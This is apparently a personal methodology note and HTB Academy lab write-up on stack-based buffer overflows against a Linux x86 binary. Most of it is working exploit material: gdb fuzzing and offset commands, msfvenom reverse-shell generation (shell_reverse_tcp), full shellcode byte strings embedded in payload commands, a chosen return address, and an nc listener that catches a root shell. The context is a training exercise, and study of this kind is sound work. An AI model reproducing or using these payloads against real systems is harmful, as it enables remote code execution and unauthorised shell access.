Buffer Overflow - Stack based - Linux x86
Methodology
Take control of EIP
Fuzzing
We will use Gnu Debbugger
gdb -q prog-name
We set gdb to use intel
(gdb) set disassembly-flavor intel
We can fuzz by printing the same char 1200 times
run $(python -c "print '\x55' * 1200")
info registers
Determining offset
Metasploit on kali
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1200
We put the pattern in gdb
(gdb) run $(python -c "print 'STRING-OF-PATTERN'")
info registers eip
We get a new memory address
We use msf pattern to get the offset
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x69423569
run $(python -c "print '\x55' * OFFSET-VALUE + '\x66' * 4")
Example:
run $(python -c "print '\x55' * 1036 + '\x66' * 4")
We should see that EIP has been rewritten with \x66
Determine length of shellcode
Generate shellcode with metasploit:
msfvenom -p linux/x86/shell_reverse_tcp LHOST=IP lport=31337 --platform linux --arch x86 --format c
With this we will get the Payload size
We need a total of 1040 bytes to get to the EIP.
Here, we can use an additional 100 bytes of NOPs
150 bytes for our shellcode. Example:
run $(python -c 'print "\x55" * (1040 - 100 - 150 - 4) + "\x90" * 100 + "\x44" * 150 + "\x66" * 4')
Identification of bad chars
List of bad chars:
\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff
This list is 256 bytes long
On GDB:
disassemble main
We set a break point to the vuln function
break funcname
We can now try our list of chars:
(gdb) run $(python -c 'print "\x55" * (1040 - 256 - 4) + "STRING-OF-BAD-CHARS" + "\x66" * 4')
We look at the stack:
x/2000xb $esp+500
We can see where our \x55 started and at the end of all the \x55 we have our bad chars We can see if a char is missing or if there is something strange so we move the char and try again we have to calc our buffer again 1 char is 1 byte so we can remove 1 byte from 256
Example bad chars: \x00 \x09 \x0a \x20
Generating shellcode
msfvenom -p linux/x86/shell_reverse_tcp lhost=<LHOST> lport=<LPORT> --format c --arch x86 --platform linux --bad-chars "<chars>" --out <filename>
We have to adjust the shellcode to be only one string
Becomes:
"\xb8\x34\x84\x16\xa2\xdd\xc2\xd9\x74\x24\xf4\x5b\x33\xc9\xb1\x12\x83\xc3\x04\x31\x43\x0e\x03\x77\x8a\xf4\x57\x46\x49\x0f\x74\xfb\x2e\xa3\x11\xf9\x39\xa2\x56\x9b\xf4\xa5\x04\x3a\xb7\x99\xe7\x3c\xfe\x9c\x0e\x54\x7e\x5f\xf1\xa5\xe8\x5d\xf1\xdf\x81\xe8\x10\xaf\x34\xbb\x83\x9c\x0b\x38\xad\xc3\xa1\xbf\xff\x6b\x54\xef\x8c\x03\xc0\xc0\x5d\xb1\x79\x96\x41\x67\x29\x21\x64\x37\xc6\xfc\xe7"
Metasploit mentionned that the payload was 95 bytesWe can now run on gdb:
run $(python -c 'print "\x55" * (1040 - 124 - 95 - 4) + "\x90" * 124 + "\xb8\x34\x84\x16\xa2\xdd\xc2\xd9\x74\x24\xf4\x5b\x33\xc9\xb1\x12\x83\xc3\x04\x31\x43\x0e\x03\x77\x8a\xf4\x57\x46\x49\x0f\x74\xfb\x2e\xa3\x11\xf9\x39\xa2\x56\x9b\xf4\xa5\x04\x3a\xb7\x99\xe7\x3c\xfe\x9c\x0e\x54\x7e\x5f\xf1\xa5\xe8\x5d\xf1\xdf\x81\xe8\x10\xaf\x34\xbb\x83\x9c\x0b\x38\xad\xc3\xa1\xbf\xff\x6b\x54\xef\x8c\x03\xc0\xc0\x5d\xb1\x79\x96\x41\x67\x29\x21\x64\x37\xc6\xfc\xe7" + "\x66" * 4')
Check if first byte of our shellcode match the bytes after NOPS withx/2000xb $esp+550
We see that after a few nops (x90) we see the first chars of our shellcode.
Identify a return address
0xffffd734
Our exploit:
"\xda\xc2\xd9\x74\x24\xf4\x5b\x33\xc9\xb1\x12\xb8\x88\x5e\xb1\xe2\x83\xc3\x04\x31\x43\x13\x03\xcb\x4d\x53\x17\xfa\xaa\x64\x3b\xaf\x0f\xd8\xd6\x4d\x19\x3f\x96\x37\xd4\x40\x44\xee\x56\x7f\xa6\x90\xde\xf9\xc1\xf8\xea\xf3\x3f\xb1\x82\x01\x40\x3b\x3a\x8f\xa1\x0b\xda\xdf\x70\x38\x90\xe3\xfb\x5f\x1b\x63\xa9\xf7\xca\x4b\x3d\x6f\x7b\xbb\xee\x0d\x12\x4a\x13\x83\xb7\xc5\x35\x93\x33\x1b\x35”
Write up - Skills Assesment on HTB Academy - STACK-BASED BUFFER OVERFLOWS ON LINUX X86
Fuzzing
We have a segfault starting at 2100
Determine offset
Let's use a pattern:
We generate it on kali:
We can send it on gdb:
GDB print this:
Check out EIP
In kali we can use
pattern_offset
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x37714336
Our offset is 2060
To answer the question
Submit the size of the stack space after overwriting the EIP as the answer. (Format: 0x00000)
Determine length of shellcode
Our payload should be 68 bytes
To reach eip we need the offset size + 4bytes => 2060+4=2064 bytes
We can then add 100 bytes of NOPs
We can count 150 of shellcode in case we need a bigger shellcode.
We can then try this:
Identification of bad chars
We are going to look for bad chars with the 256 bytes list:
We need to send
BUFFER+CHARS+EIP
We can find our badchars:
x/2000xb $esp+500
We can add 0x00 in our bad chars list
We remove it from the list and substract 1 byte so our code looks like this:
run $(python -c 'print "\x55" * (2064 - 255 - 4) + "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" + "\x66" * 4')
We then find 0x09
We remove it from the list and substract 1 byte so our code looks like this:
We then have 0x0a, we remove it from the list and substract again 1 byte
And the same again with 0x20
Our bad chars are now
\x00\x09\x0a\x20
Generate shell code
We copy our shellcode and format it in one string so that this:
Becomes this:
Our payload is 95 bytes as mentioned by msfvenom
Identify a return adr
We can take and address before the end of nops but in the nops so that our eip can jump there
0xffffd730
We are now ready for the final exploit
We launch a listener
nc -lvp 31337
We send our payload
We get a shell and can read the root flag located here:
/root/flag.txt
Tools
Resources
Last updated